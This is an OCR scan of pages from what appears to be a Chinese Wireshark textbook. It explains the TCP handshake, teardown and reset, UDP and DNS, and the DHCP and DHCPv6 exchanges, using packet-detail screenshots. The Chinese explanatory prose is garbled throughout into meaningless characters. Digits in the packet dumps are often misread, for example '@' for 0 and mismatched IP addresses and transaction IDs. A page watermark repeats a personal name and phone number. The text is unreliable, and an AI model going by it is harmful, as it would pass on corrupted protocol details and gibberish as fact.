Wireshark - Packet 1. tcp_handshake - o X
p.

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
Ethernet II, Src: IntelCor_Sb:7d:4a (@@:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (90:05:5d:21:99:4c)
Internet Protocol Version 4, Src: 172.16.16.128, Dst: 212.58.226.142

Cvvwv

Source Port: 2826
Destination Port: 8

[Stream index: ]

[TCP Segment Len: @]

Sequence number: 3691127924 @)
Acknowledgment number: @
Header Length: 32 bytes

= Reserved: Not set
. = Nonce: Not set
.. = Congestion Window Reduced (CWR): Not set
.. = ECN-Echo: Not set
. = Urgent: Not set
. = Acknowledgment: Not set
. = Push: Not set
. v... .@.. = Reset: Not set
0 T e e S P
........... @ = Fin: Not set
[TCP Flags: ****xxssxxgx]
Window size value: 8192
[Calculated window size: 8192]
> Checksum: @xcfeb [validation disabled]
Urgent pointer: @
> Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted

WNo.: 1 - Time: 0.000000 - Source: 172.16.16.128 - Destination: 212.58.226.142 - Protocol: TCP - Length: 66 - Info: 2826 — 80 [SYN] Seq=3691127924 Win=8192 Len=0 MS5=1460 WS=4 SACK_PERM=1

& 8-6 #n%4 SYN #c4E &

BT AR 212.58.226.142 K Hi ) SYN/ACK M ( WL 8-7).
EN AR MAEEEXE ENMYILGEFHS (2337793400 PLE — /Ml S

(2691127925) . XN S L2 BTN SR RS K 1,
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M Wireshark - Packet 2 - tcp_handshake - =] X

> Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
> Ethernet II, Src: D-Link_21:99:4c (@@:05:5d:21:99:4c), Dst: IntelCor_Sb:7d:4a (@@:21:6a:5b:7d:4a)
> Internet Protocol Version 4, Src: 212.58.226.142, Dst: 172.16.16.128
v

Source Port: 80

Destination Port: 2826

[Stream index: @]

[TCP Segment Len: @]

Sequence number: 233779340 @

Acknowledgment number: 3691127925 @

Header Length: 32 bytes

= Reserved: Not set

Nonce: Not set

. = Congestion Window Reduced (CWR): Not set
ECN-Echo: Not set

Urgent: Not set

Acknowledgment: Set

= Push: Not set

= Reset: Not set

[TCP Flags: =*=x*xsarss*]
Window size value: 5840
[Calculated window size: 584@]
> Checksum: @x9ac@ [validation disabled]
Urgent pointer: @
> Options: (12 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), SACK permitted, No-Operation (NOP), Window scale
> [SEQ/ACK analysis]

No.: 2 - Time: 0.132627 - Source: 212.58.226.142 - Destination: 172.16.16.128 * Protocol: TCP » Length: 66 * Info: 80 — 2826 [SYN, ACK]. SACK_PERM=1W5=128

& 8-7 SYN/ACK *# 2
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B A AR A2 M 172.16.16.128 (LI 8-8) KR HIM ACK F¥afl., XA
By E W T IR R, BEE A R B S BT e LS
3691127925,

Wireshark - Packet 3 - tcp_handshake - [m] X
p.

> Frame 3: 54 bytes on wire (432 bits), 54 bytes captured (432 bits)
> Ethernet II, Src: IntelCor_Sb:7d:4a (@@:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (@@:@5:5d:21:99:4c)
> Internet Protocol Version 4, Src: 172.16.16.128, Dst: 212.58.226.142
¥ Transmission Control Protocol, Src Port: 2826 (2826), Dst Port: 8@ (80), Seq: 3691127925, Ack: 233779341, Len: @
Source Port: 2826
Destination Port: 8@
[Stream index: @]
[TCP Segment Len: @]
Sequence number: 3691127925 9
Acknowledgment number: 233779341
Header Length: 208 bytes

v Flags: @x@1@ (ACK)
ee8. .... .... = Reserved: Not set
- = Nonce: Not set
P = Congestion Window Reduced (CWR): Not set
.e.. ECN-Echo: Not set
..0. Urgent: Not set

Push: Not set
Reset: Not set

= Acknowledgment: Set 9

B Syn: Not set
........... @ = Fin: Not set

[TCP Flags: *+***sspexss]
Window size value: 4218
[Calculated window size: 16872]
[Window size scaling factor: 4]
Checksum: @xelb2 [validation disabled]

Urgent pointer: @
> [SEQ/ACK analysis]

No.: 3 - Time: 0.132768 « Source: 172.16.16.128 - Destination: 212.58.226.142 - Protocol: TCP - Length: 54 - Info: 2826 — 80 [ACK] Seq=3691127925 Ack=233779341 Win=16872 len=0

& 8-8 /569 ACK &

BF RAELLEED TCP FIBE A 287 “E— NI RR P RE
BRFFIFFLE, F5] SYN. SYN/ACK. ACK 2 —MRIEFHtRE.

8.1.4 TCP

BT W i i &2 — AL, {E TCP 1, S—AMEFRMLIL{H151ER
AUA Y%, TCP ZIEFRIEM & & 58 BE(E 5 IE R b as i, XA A
T ANEIER, JFH A FIN bpok R SR & 45

E—ANEIEFFF, FHLA B KE—NEE T FIN fl ACK #xER TCP
B t, HIFEN B EETEM. EHL B PL—4 ACK ¥l tmmin, HiEmE o
1) FIN/ACK ¥56L. FHL A m—A> ACK i f, RaddlfEidi. x4
AR 8-9 iR
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FIN/ACK

ACK

/TEERES FIN/ACK P AN

FEHA B
ACK

8-9 TCP #ikbit42

FIHF S tep_teardown.pcapng FJ LAFE Wireshark H1& 2IX AN 2 « 767 51 1
BN EPEE (LE 8-10), RATLAFE RN T 67.228.110.120 [ &l it Kk H
% FIN Al ACK brERIEEE, KIFIH& I fE,

M Wireshark . Packet 1 - tcp_teardown - o X

> Frame 1: 6@ bytes on wire (480 bits), 6@ bytes captured (480 bits)
> Ethernet II, Src: D-Link_21:99:4c (@0:05:5d:21:99:4c), Dst: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a)
> Internet Protocol Version 4, Src: 67.228.110.120, Dst: 172.16.16.128
v

Source Port: 80

Destination Port: 3363

[Stream index: @]

[TCP Segment Len: @]

Sequence number: 822643295

Acknowledgment number: 2079388537

Header Length: 20 bytes

900. .... .... = Reserved: Not set
B = Nonce: Not set
e @ e = Congestion Window Reduced (CWR): Not set
Q.. aann = ECN-Echo: Not set
.. = Urgent: Not set
.. = Acknowledgment: Set
.. = Push: Not set
«.. .8.. = Reset: Not set
.. ..0. = Syn: Not set

>
[TCP Flags: =*#sssspsssp]

Window size value: 71

[Calculated window size: 71]

[Window size scaling factor: -1 (unknown)]

Checksum: @x279b [validation disabled]

Urgent pointer: @

v

No.: 1 - Time: 0.000000 - Source: 67.228.110.120 - Destination: 172.16.16.128 - Protocol: TCP - Length: 60 - Info: 80 — 3363 [FIN, ACK] Seq=822643295 Ack=2079380537 Win=71 Len=0

8-10 FIN/ACK &L4F A ¢ b it A2 64 744

EEAN BRI 25, 172.16.16.128 {1 T —4~ ACK B BT
N, SREINEE — MR AR, SRJE K% T —A FIN/ACK Ff . A2
7£ 67.228.110.120 Ki% T 40 ACK Z JG45H . X, X MREREEED
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LR, RO R L A5 BT TCP 42 .

8.1.5 TCP

FEHARE LN, G —MERHS UL TCP ZRIER S AEH LY, &
P S RRW s . A4IRUL, X AT RERE i T — MR A B0 # IEAE AT o 1
Ft, B ENURC B A RT3 fEXEF T, MR E AW E T RST
PRAEH) TCP Hdli . RST bl FIOKSE HERPESH H 1L, SR 4EERHE K.

A tep_refuseconnection.pcapng 25 T —/ ML A RST i £ X 25 it /21
BT o XA SR — AN R A OR H 192.168.100.138, 244K 5 192.168.100.1
(1) 80 ¥y LIHHATIBAS . IXAEHAHIIE 192.168.100.1 FHEA 7EMIT 80 i [T,
NI A BRI A, IR A EE Web #2101, HER Ui I8 RS W
80 iy I iz . N T W NIXANEREE R, 192.168.100.1 1] 192.168.100.138 K i%
TR, HYFEEXTT 80 iy @ E L. B 8-11 HER T A
BIEAH TCP Sk IX MNMEREZHRTIRL I HIEH . RST kT4 RST
A ACK #r&idh, BAEEMEMP AR, 25 HHEAHIMEE,

M Wireshark - Packet 2 - tep_refuseconnection - m} X

> Frame 2: 60 bytes on wire (480 bits), 6@ bytes captured (480 bits)
> Ethernet II, Src: CiscoInc_4b:c@:7f (@@:12:80:4b:c@:7f), Dst: CompalCo_b8:59:bl (@8:16:d4:b8:59:b1)
> Internet Protocol Version 4, Src: 192.168.100.1, Dst: 192.168.100.138
Vv Transmission Control Protocol, Src Port: 8@ (8@), Dst Port: 3372 (3372), Seq: @, Ack: 951857948, Len: @
Source Port: 8@
Destination Port: 3372
[Stream index: @]
[TCP Segment Len: @]
Sequence number: @
Acknowledgment number: 951057940
Header Length: 2@ bytes
@ Vv Flags: @x@14 (RST, ACK)
@00, .... .... = Reserved: Not set
N T = Nonce: Not set
= Congestion Window Reduced (CWR): Not set
= ECN-Echo: Not set
= Urgent: Not set
....... 1 .... = Acknowledgment: Set
........ @... = Push: Not set
.. .1.. = Reset: Set
.. ..@. = Syn: Not set
........... @ = Fin: Not set
[TCP Flags: *******prges]
Window size value: @
[Calculated window size: @]
[Window size scaling factor: -2 (no window scaling used)]
> Checksum: @x21b4 [validation disabled]
Urgent pointer: @
> [SEQ/ACK analysis]

WNo.: 2 - Time: 0.001316 - Source: 192.168.100.1 - Destination: 192.168.100.138 - Protocol: TCP + Length: 60 * Info: 80 — 3372 [RST, ACK] Seq=0 Ack=951057940 Win=0 Len=0

8-11 RST #= ACK AR EREFBZ 094 &
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8.2

UDP

RST #i Bl e ZRIBE P AIRITE GURIZAN T — R BE £ EHLE
BRI g, k& IRlE.

PR

FH P E4R 03 (User Datagram Protocol, UDP) 2 7 BT I 2% Hh 4 i 16
I RAN—FREE 4 EWR. QiU TCP 22N 1l 2 w5 A P 7EES R Al 1 o] S £ bis
&4, 2 UDP 22N T et md e, XA ERE, UDP 2 —FR )
M55, B SPROATIEZE . — AN TEE A 2 I g A2 R
WL A fERE, WASE TCP AFEAEESR T & i 2 .

ToE O WA B R E AR AT FE MR 55, XA F & UDP Jii i — s 4l
AFasE . FL B IER ik, EKHT UDP MthisCaE s #HaA HEH AN EM
AISEMERSS, BE A ICMP B —28Djfe, SROMIEERETE [ 5E—L8, 264K
Ui, RMHJZE P DNS 1 DHCP w5 FEAKH T 048 (0 /£ M 28 FAR S s, =
ST T UDP 1R N eI A& S 2 0030 (I8 2 B AT 3 b7 R A 2 DL & H
FETTIT .

UDP 3kt TCP LE/NMS %, WRIFISL . WK 8-12 iz, LLF/& UDP #
SLHIF B

a0 FHoRAR S s A b 1

BirimH: Bl SR E B i .
HIRGRKE: SR TIKE,

BEEFN:  FRHH LR UDP kAN BIA w1 72 B %

A PEER I (UDP)
wEsh |\ 0 1 2 3
M| g 0-7 8-15 16-23 24-31
0 0 B0 BtRi 0
4 32 HIEBKE RN

8-12 UDP #:k
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A udp_dnsrequest.pcapng LS H — AR, X AR ZE —MEH
UDP 1] DNS &K, MRIFX/NEPE R UDP ki, /RATLUER] 4 Nk (L
Kl 8-13).

M Wireshark . Packet 1 - udp_dnsrequest - [m} x

» Frame l: 73 bytes on wire (584 bits), 73 bytes captured (584 bits)

» Ethernet II, Src: CompalCo_b8:59:bl (@8:16:d4:b8:59:b1), Dst: Ciscolnc_4b:c@:7f (@8:12:88:4b:c@:7T)
» Internet Protocol Version 4, Src: 192.168.100.138, Dst: 192.168.180.1

¥ User Datagram Protocol, Src Port: 1868 (1668), Dst Port: 53 (53)

Source Port: 1868

Destination Port: 53

Length: 39

Checksum: @x6d5a [validation disabled]

[Stream index: @]

» Domain Name System (query)

v

No.: 1 = Time: 0.000000 - Soure: 192.158.100.138 - Destination: 192.168.100.1 * Protocol: DNS - Lengtf: 73 = Infor Standard query: Ox180F A wireshark.org

E 8-13 UDP #kiE Lty M 24§ %

BRI, UDP JEACOER I PT SN, BT UMEfI{EF UDP 8 7R
DA P B S T LR IR IR A 8, ARIE T SR AR . IX — #RT TCP A, TCP
AHOW—EBEZIERREMERNFEF, Hh O — Syl
1) LTI A i o

X R E T A E P ——TCP 1 UDP. AMERIZ E ML, TCP 1
UDP & H# 40 K2 5 4 EAZ TG, IR 9B A U e r e
W2 UUEIRBET A — M AR BT K. 7256 9 &, TAVEE —F W WM
RIZE WL
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fEIX—=m, AVESEAH— X IiEE, LA
‘EAITH#E Wireshark FHIRET o TATEANH 4 Fhis WK & 2 T
W (%5 7 )2): DHCP. DNS. HTTP 1 SMTP.

9.1 ZhEFPUECE X DHCP
TEMZEERACHI R, L— 6 RSB EAENLS FBEER, B E8F30 0

— A Hbdk. BEEMSIIRRE, XTI R R OBE R . T Rk
XA @, BOOTP #3i (Bootstrap Protocol) [njfH:, ‘& =B HIME &4 iEH 3

B4t X Kensuke(18319066421) B2 jEEELRIN



2% () ¥ 2 1 3 o0 o it . BOOTP Jim SRAf S I &2 A% i) 8 24 EHLEC B 1 DHCP
(Dynamic Host Configuration Protocol) FlTHUAY.

DHCP & —/ M EVMYL, 75tk a8 H 3R EL IP kit (DL S HoAth 22
A2 FEYR, Lhin DNS 2528 F1g B G L) o AR K 2201 DHCP ili%s#%
HR 2 PR A AR ) — te %k, ELin g EAERIL M S AT DNS IR SS 28 it .

9.1.1 DHCP
DHCP #¥ntl & A% P RIBZ(EE . W 9-1 Fix, LN FBRERSTE
DHCP %45 t tH3
hASEHLECE 11 (DHCP)
wIBAL| I\ 4R 0 1 2 3
Jza| 0-7 8-15 16-23 24-31
0 0 BRAERAD REfFAER BHKE B
4 32 =%ID
8 | 64 SHFERT i8] | s
12 | 96 & FifIPHiE
16 128 “YREY"IPHbLE
20 | 160 AR5 22 IPHb AL
24 | 192 eI
28 | 224 & PPk
32 | 256
36 | 288
B PumiE bt (16 bytes)
40 | 320
44 | 352
48+ | 384+ BRESEEEHE (64 bytes)
BEIHH(128 bytes)
briAl)
[l 9-1 DHCP #k3E L4 4

12188 (OpCode): K5 H X A% 2 DHCP i :KiL & DHCP 71 & .

TE1EZE R (Hardware Type): fifi {4 Hiht5% (10MB DL IEEE802. ATM
DA K FHAD

B bt 4<E (Hardware Length): B £FHhhE R B
BKEL (Hops): "H4KACHLH] LAFE B F-4% DHCP JIR5545% .

164 Wireshark i B 27 L8k (5 3 D
B4t X Kensuke(18319066421) B2 jEEELRIN



E 55 ID (Transaction ID):  FISRUCHD i K A B 1 — AN FEHLEL

JHFERTE] (Seconds Elapsed): MZ% /by 55— X [n] DHCP Ik 55 #% & H Hi bk 1%
SR BIFRAG 0w J8 Fr 75 22 PR B[]

#ri& (Flags): DHCP %7 iR G52 U AR CRLgg . ) Hk DL LA

Z P IP itk (Client IP Address): 757 umit) IP #uhlk CHH “URIF” 1P Hh
HEERAD .

“{RE9” TP Hilit (Your IP Address): DHCP IR % Za 3211y 1P Hihl (2%,
K% P 1P HihE AR .

BR53ES IP itk (Server IP Address): DHCP Iz 5525 IP Mkl
W% IP HbiE (Gateway IP Address): MXZ8ERIARISEMH] TP Mk,

X FinfEf it (Client Hardware Address): 7577 %i [ MAC .
R85 EH A (Server Host Name): JRZ2:HFHA (AJiE).
BEX#E (Boot File): DHCP FTfdH 15 30 301 (Al

%I (Options): FISkX} DHCP #E Wik TH &, LURHLHE 2Tk,

9.1.2 DHCP

DHCP ) EEAT 55t e FELERLE AR 7 2 P o 73 T 1P Hbdik. S RRAE —A
& il DHCP JIj45#% 2 A7, 403+ dhep nolease renewal.pcap H'ff7~. DHCP
(RS RO H PRy DORA ik, PUNEEH T 4 B8 DHCP £l tl: K
I (Discover). #&fit (Offer). 153K (Request) AN (Acknowledgement),
K 9-2 fivr. 7EIXE, FATEXT DORA £di iR R #1712 — N4

=

e | A

| ik > ==
DHCPZ Fify DHCPAR S5 8%
ik |

9-2 DHCP %) DORA iT#2
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L R Bda

TEITE 5 IR S B BRI IRE, 35— N4 0.0.0.0 1 68 i [
RAE 255.255.255.255 [ 67 ¥ . & fEH 0.0.0.0, ZENE HRTIEEA 1P
kb BB R AL 255.255.255.255, & RUAX A& — AN ST T IS T kL
M A PRI N B A S W RAEMS LG ER&. FIAX G &I A RE
DHCP k%5 #% pitthdl, Bl e ss — AN 28 7 F4RIETE R UT 1) DHCP
i E

fF Packet Details Mt H, FA1585—HR# A LA ] DHCP 2% T UDP {E A
FE4Z W) . DHCP X128 7 i dF B FTid K5 B AR m M E R
T DHCP A H W B IRIUE T 5210772, bt vk UDP & LLEGE & 1K B
Wo VRAT DLFE S5 — /N s .10 Packet Details T A% [¥) DHCP #7y, & KWL FE
AT, Wk 9-3 s

M Wireshark - Packet 1. dhcp_nolease_renewal - O X

> Frame 1: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface @
> Ethernet II, Src: Vmware_59:fd:21 (@@:0c:29:59:fd:21), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
> Internet Protocol Version 4, Src: 6.0.8.8, Dst: 255.255.255.255
> User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67)
Vv Bootstrap Protocol (Discover)
Message type: Boot Request (1) @
Hardware type: Ethernet (@x@l)
Hardware address length: 6
Hops: @
Transaction ID: @x696ddce6
Seconds elapsed: @
Bootp flags: @x@@e@ (Unicast)
Client IP address: 2.0.0.0
o Your (client) IP address: ©.0.0.@
Next server IP address: 9.9.9.0
Relay agent IP address: 9.9.9.0
Client MAC address: Vmware_59:fd:21 (@@:@c:29:59:fd:21)
Client hardware address padding: @0000000000000000000
Server host name not given
Boot file name not given
Magic cookie: DHCP
V¥ Option: (53) DHCP Message Type (Discover) @
Length: 1
DHCP: Discover (1)
Option: (5@) Requested IP Address
Option: (12) Host Name
Option: (55) Parameter Request List
Option: (255) End
Padding:

v

R

No.: 1 - Time: 0.000000 - Source: 0.0.0.0 - Destination: 255.255.255.255 * Protocol: DHCP + Info: DHCP Discover - Transaction 1D (69606c66

Close Help

9-3 DHCP X JLE3E &
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Gl

B # -F Wireshark £ 4L 22 DHCP A, 134451 /| BOOTP, B 3tik4 4 Packets
Detail @4+ & %] BOOTP i, 2 DHCP. {2 X #4efT, KRAZXAP T
244 A e VES53E 6,69 DHCP (4.

XA NMEREE R, 7R B RS R AR 1. RIS 6 1R 2 807
BraiE s Oitfg 2 1P Hihbs); SERYE - — sl i) DHCP ¥, #tc
SREIRERE T XM UREN T ENSEIX 4 M B

DHCP ;EE A, X HEAETEEN 53 (=53), KEN 1, EREN 1.
X e F X 2 —4> DHCP & ILE4E £

B RIHERRA: X R TR iR P Mk fAAME B

Figsk IP $bik: X BHAE T & P 2820 1P bt G2 arHE
TP Hidib) .

ERSETIR: KEII 7% i 2 DHCP IR 55 4552 1 AN R e &
T (LA 2 P 28 25 1) TP ML) o

2. Tt

XA SR 2 AR ALE TP Sk g T el F I TP ki, BoRIx AN 6
M 192.168.0.1 KAE 192.168.0.10, 1 9-4 Fron. KN st b Lk & A
192.168.0.10 XM Hbbk, FrLlRssaso B e =l B ARP 1R 4L1K % P o
bk 52585 mFEE RN, BaekaeBEERME (Offer) | #HHZ%, it
TS .

5 ZAHUREM DHCP #5r, FMONSRAEEEE M, KUK — e S B
B, EABIRAAE TR — MR AR F S D, MR S FRATIXA
i )97 5 FRATT 5 2 (01 SR AR XS

ZIRHEEGE Bt DHCP RS54 ki, FBAM & o IR %S . et T
KTHAGMER, UAEBESE e gtibit. B 94, 78 “IR1)” (%
i) TP bk 7B i TP bk 192.168.0.10 st /2 B MEA R S im ). N —ANR
245 IP Hutik (Next Server IP Address) 3k 1 192.168.0.1 K EIFA 1) DHCP
%5 2% 5 BRI G — A 1P Hudik

FI S — AN IE TR X s 2 — & DHCP RSS2 8L, IS5 &
PRAOEMBE TR M IX SR TR 2 P i) TP kb, — 245 T e TR IR AL A ME
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o RATDERIESH T ER.

‘ Wireshark - Packet 2 - dhcp_nolease_renewal

Internet Protocol Version 4, Src: 192.168.1.5, Dst: 192.168.1.10
User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68)
Bootstrap Protocol (Offer)
Message type: Boot Reply (2) @
Hardware type: Ethernet (@xel)
Hardware address length: 6
Hops: @
Transaction ID: @x696ddce66 @
Seconds elapsed: @
Bootp flags: @x2@0@ (Unicast)
Client IP address: ©.0.0.0
@ Your (client) IP address: 192.168.1.10
O next server IP address: 192.168.1.5
Relay agent IP address: @.0.9.0
Client MAC address: Vmware_59:fd:21 (8@:0c:29:59:fd:21)
Client hardware address padding: @0000000000000000000
server host name not given
Boot file name not given
Magic cookie: DHCP
V¥ Option: (53) DHCP Message Type (Offer) @
Length: 1
DHCP: Offer (2)
v Option: (54) DHCP Server Identifier
Length: 4
DHCP Server Identifier: 192.168.1.5
Vv Option: (51) IP Address Lease Time
Length: 4
IP Address Lease Time: (6@@s) 1@ minutes
v Option: (1) Subnet Mask
Length: 4
Subnet Mask: 255.255.255.8
v Option: (28) Broadcast Address
Length: 4
Broadcast Address: 192.168.1.255
v Option: (3) Router
Length: 4
Router: 192.168.1.254
v Option: (15) Domain Name
Length: 16
Domain Name: mydomain.example
Vv Option: (6) Domain Name Server
Length: 8
Domain Name Server: 192.168.1.1
Domain Name Server: 192.168.1.2
v oOption: (255) End
Option End: 255

K vvwvwv

v

Frame 2: 344 bytes on wire (2752 bits), 344 bytes captured (2752 bits) on interface @
Ethernet II, Src: Vmware_c@:6@:a4 (@0:0c:29:c@:60:a4), Dst: Vmware_59:fd:21 (@@:0c:29:59:1d:21)

No.: 2 - Time: 1.002288 - Source: 192.168.1.5 - Destination: 192.168.1.10 - Protocol: DHCP - Info: DHCP Offer - Transaction 1D Ox69665056

& 9-4 DHCP 24435 &,
o FIMHERDE 255.255.255.0,
o ZZFHRY[A]E 30min.
o EHTYRE NS E A /& 52min30s.
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o IP HUBLAAHLEIZ 1h.
o DHCP JIR55 & HIPRIRFT 2 192.168.0.1.
3. TR
FEZ PN 3] DHCP IR&5 2 MR R L2 J5, B4 BL—> DHCP 153K
HE eI, i 9-5 Fs

‘ Wireshark - Packet 3 - dhcp_nolease_renewal - (] X

> Frame 3: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface @
> Ethernet II, Src: Vmware 59:fd:21 (@@:8c:29:59:fd:21), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
> Internet Protocol Version 4, Src: ©.0.0.8, Dst: 255.255.255.255 @)
> User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67)
Vv Bootstrap Protocol (Request)
Message type: Boot Request (1)@
Hardware type: Ethernet (@x@l)
Hardware address length: 6
Hops: @
Transaction ID: 8x696ddc66 @
Seconds elapsed: @
» Bootp flags: @xeeee (Unicast)
Client IP address: 9.9.0.0
Your (client) IP address: ©.9.0.0
Next server IP address: 9.0.0.@
Relay agent IP address: 2.8.8.@
Client MAC address: Vmware_59:fd:21 (@@:8c:29:59:fd:21)
Client hardware address padding: 20000000000000000000
Server host name not given
Boot file name not given
Magic cockie: DHCP
v Option: (53) DHCP Message Type (Request) @
Length: 1
DHCP: Request (3)
v Option: (54) DHCP Server Identifier
Length: 4
DHCP Server Identifier: 192.168.1.5 @
v Option: (58) Requested IP Address
Length: 4
Requested IP Address: 192.168.1.1@
Vv Option: (12) Host Name
Length: 7
Host Name: ubuntu2
» Option: (55) Parameter Request List
v Option: (255) End
Option End: 255
Padding:

No.: 3 - Time: 1.002980 - Source: 0.0.0.0 - Destination: 255.255.255.255 « Protocol: DHCP - Info: DHCP Request - Transaction 1D Ox696ddc66

& 9-5 DHCP # KB &
XA IR SCAE A B 28 = AN R AT SR N TP Hidk 0.0.0.0 4b ki, RN FRATTIE
VA SE R RN TP Huhik (3t 2  AH R A R E 2038 T8 BT (= 1) DHCP JIRZ-%8 .
WHEBM B BIRIXE—MEREIEE . BARXAMT S BN EE
BHSE T F— NI RE, (ERNIX R —ADHE RN R, BTlEs 7 —
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ANHTIFE 55 1D XAt A 5 A B B AR BL, T (0 TP b A5 B AR = /.

FEIR G RN, FAVE FIX & — DHCP iFK. (HAFERKNEZ, XM
TLER P 1P #2728, FH DHCP RS #ARRFF IR A 1P Ml

4. HHiNEdE

RAMRERRG — 2l & DHCP 7ERf A H 6 b 4a 2 7 i A & LT SR
IP $di, JFAEHEE E FC ARG R, Wl 9-6 .

M Wireshark - Packet 4 . dhcp_nolease_renewal - m] X

> Frame 4: 344 bytes on wire (2752 bits), 344 bytes captured (2752 bits) on interface @
> Ethernet II, Src: Vmware_c@:6@:a4 (@@:0c:29:c0:60:a4), Dst: Vmware_59:fd:21 (@0:0c:29:59:fd:21)
> Internet Protocol Version 4, Src: 192.168.1.5, Dst: 192.168.1.10
> User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68)
Vv Bootstrap Protocol (ACK)
Message type: Boot Reply (2)
Hardware type: Ethernet (@xel)
Hardware address length: 6
Hops: @
Transaction ID: @x696ddc66
Seconds elapsed: @
> Bootp flags: @x2e@@ (Unicast)
Client IP address: 9.9.8.@
Your (client) IP address: 192.168.1.1@
Next server IP address: 192.168.1.5
Relay agent IP address: @.8.0.0
Client MAC address: Vmware 59:fd:21 (@@:0c:29:59:fd:21)
Client hardware address padding: 00000020000000000000
server host name not given
Boot file name not given
Magic cookie: DHCP
> Option: (53) DHCP Message Type (ACK)
> Option: (54) DHCP Server Identifier
> Option: (51) IP Address Lease Time
> Option: (1) Subnet Mask
> Option: (28) Broadcast Address
> Option: (3) Router
> Option: (15) Domain Name
> Option: (6) Domain Name Server
> Option: (255) End

No.: 4 - Time: 1005243 - Source: 192.168.1.5 - Destination: 192.168.1.10 - Protocol: DHCP - Info: DHCP ACK - Transaction 1D OxS96d6c66

9-6 DHCP #iA%LIE &

KR P 7 1P ikt JF Har U eEEm % EiEfE.

9.1.3 DHCP
2 DHCP 44— G W &I T —A IP Huhtwy, ERNBARFMET T
— ALy MR R A BR AR 2 N R R IX A TP sk, 75 )l
AR . FRATHINIA 24 1) DORA 3 #2 A2& H BLAE & 7 it 2 — ISR B TP Hidik R
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HHMANEOESHMHL T EXHMBFR T, XEEREMSHEMN
23

N TP Huhk 1% - s AR A2 N B8 A B, 8 A 24T — IRF 1T Rl
] DORA %, SREFASUE K IP Hodk . XA R AR A L) N SE 5 .

TEFZ) NSRS, RIUEREEIR OB SRaE L E T . BMHANEHE
VE R AR Ly WIS A rp A FH )[R Fh DORA it A%, 0] DL IRAE L N S I A T 2
A2 A, 0 R TR SEROE R AFHIAE A D IR T LA T o /R AT PATE SCAF dhep_inlease
renewal.pcap & FI|FH £ Py LA — AN IRAE

9.1.4 DHCP

DHCP 8 AT WOR SR AL R IR 9 RV IEWRTE B ARRE, Bl
BLH) DHCP ZEIAE K /NI 78 L AT AR AL o Hod B i 38 AR /N U B e 1 e
(NP

T4 DHCP ¥l B #1522 ME— e 0t A v D R I GBI 530 XA
WEIRRIRFE DHCP % /7 i 80 ik 55 a5 i b BB B b A5 2. #E3R 9-1
2 T PTE SCHY 8 R R SRR,

%< 9-1 DHCP % & £#

KBS HER%R i P

1 &2l % i ke sE A2 7T 9 DHCP IR %5 2%

2 Fefit 55 s PR 48 25 il B 326 0 L0 B PO i 2

3 (RN i FH RS SRR 55 4% P B (R I 24

4 E(EE) i A A 55 4 1 W B L I e S B

5 ACK Hi 55 4% 150 8 7 i A3 P SR A L 2 8

6 NAK P i v i 2% A AE 48 L B S B0 R

7 FeI & i e A 55 4% e e DG e B S Bk IO 1.4

8 Biibs) B DA TP HhE % 5 i () R 55 217 R IE B 24

9.1.5 DHCP Version6 (DHCPv6)
R Z IR 9-1 X} DHCP #ds &5 M HE X, 1Re RIS IR TP N 1Pv6
HuhESR AL R RS (8] A TR RIX — @, RIS SOAXS DHCP WSt AT eiesl,
7£ RFC3315 F¢H 7 DHCPv6 #M¥. T DHCPv6 A&%T BOOTP #r (DHCP
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PR EIET & B, Rtk DHCPv6 B 45 )5t DHCP iU iR 2 (I
K 9-7),

Zh7S EHLECE 8 Version 6 (DHCPv6)
WAL I\ 4R 0 1 2 3
J\fg| 1 0-7 8-15 16-23 24-31
0 0 HRXA E%ID
4+ 32+ TEIR

[® 9-7 DHCPv6 %435 L4544

41k 9-7 iz, DHCPvo $udls 45 (A8 2 AN E 7B, HAEH 5 DHCP
TR BOH A o Bl 0 i F A 2 B T T 28— T ROTH E R Y. AR
EIETy, AR —A 2 5 AR ISR — MK 2 575 B U 5 B
H.

DHCPv6 528 1 F1 DHCP MR ThfE, (HE L% DHCPv6 (5, AL
ff DORA ( Discover—Offer—Request—Acknowledgment ) # #t 4 SARR
(Solicit—Advertise—Request—Reply ). X—iIFRUIE 9-8 Frn, AR 7%/ i

(LA IRAE .
T

1ni
N |

g

ER > = | =
DHCPv6Z i < | DHCPVORR %28

9-8 DHCPv6 SARR #%:Afiit42
SARR I FEEAFELLT 4 AP,
(1) K (Solicit): 7 ufy[a]—MeFE B #EHAE (£102::1:2) Kik—H]
B EIEE, ZRE M2 R B B # DHCPv6 k45 2% .
(2) A5 (Advertise): — AT DHCPv6 AR5 28 BLiE R H 2 i, F£H
I AR 55 9% BE % 42 Ak b hik ) P RN 158 B IR 55 -
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(3) 1K (Request): 25/ di it o 20 % 77 2 i iR 55 4 ke s ik e 45 8

(4) [15 (Reply): JRSS #5115 P i B3 RIS HAF R FTA L E S 5, SARR
I FESE

SARR I MEE & 9-9 Frx, X #6424 M dhep6_outlease
acquisition.pcapng HHHEEL . FEIX AT, — & TN 25 1) FEHL(£e80::20¢:291F:
feSe:7744) % & SARR iIFE, M DHCPv6 [R5 %% (fe80::20c:29ff:felf:a755) 3k
BB B A5 2 NIRRT SARR IR H—ANB I8, Horb, WJEA 1 solicit
(R F advertise (A1) AR ES ID 7'3 0x9de03f, request (iffzK) F
mw<@§>ﬁ%@m$%nxbmmmm XANEAS TS FEE 546 F1 547 U

XN 1% DHCPV6 5 FH bR v o 11

Mo Time Source Destnation Frotocol  Length Info

= 10.. feB@::20c:29ff:fe5e:7744 ffo2::1:2 DHCPvE 118 Solicit XID: @x9de@3f CID: @00100011def69bdonac295e7744

| 20.. fes88::28c:29ff:felf:a755 fe80::20c:29ff:fese:7744 DHCPvE 166 Advertise XID: @x9de@3f CID: @00180@11def63bd@BEc295e7744 IAA: 2001:dbB:1:2::1082

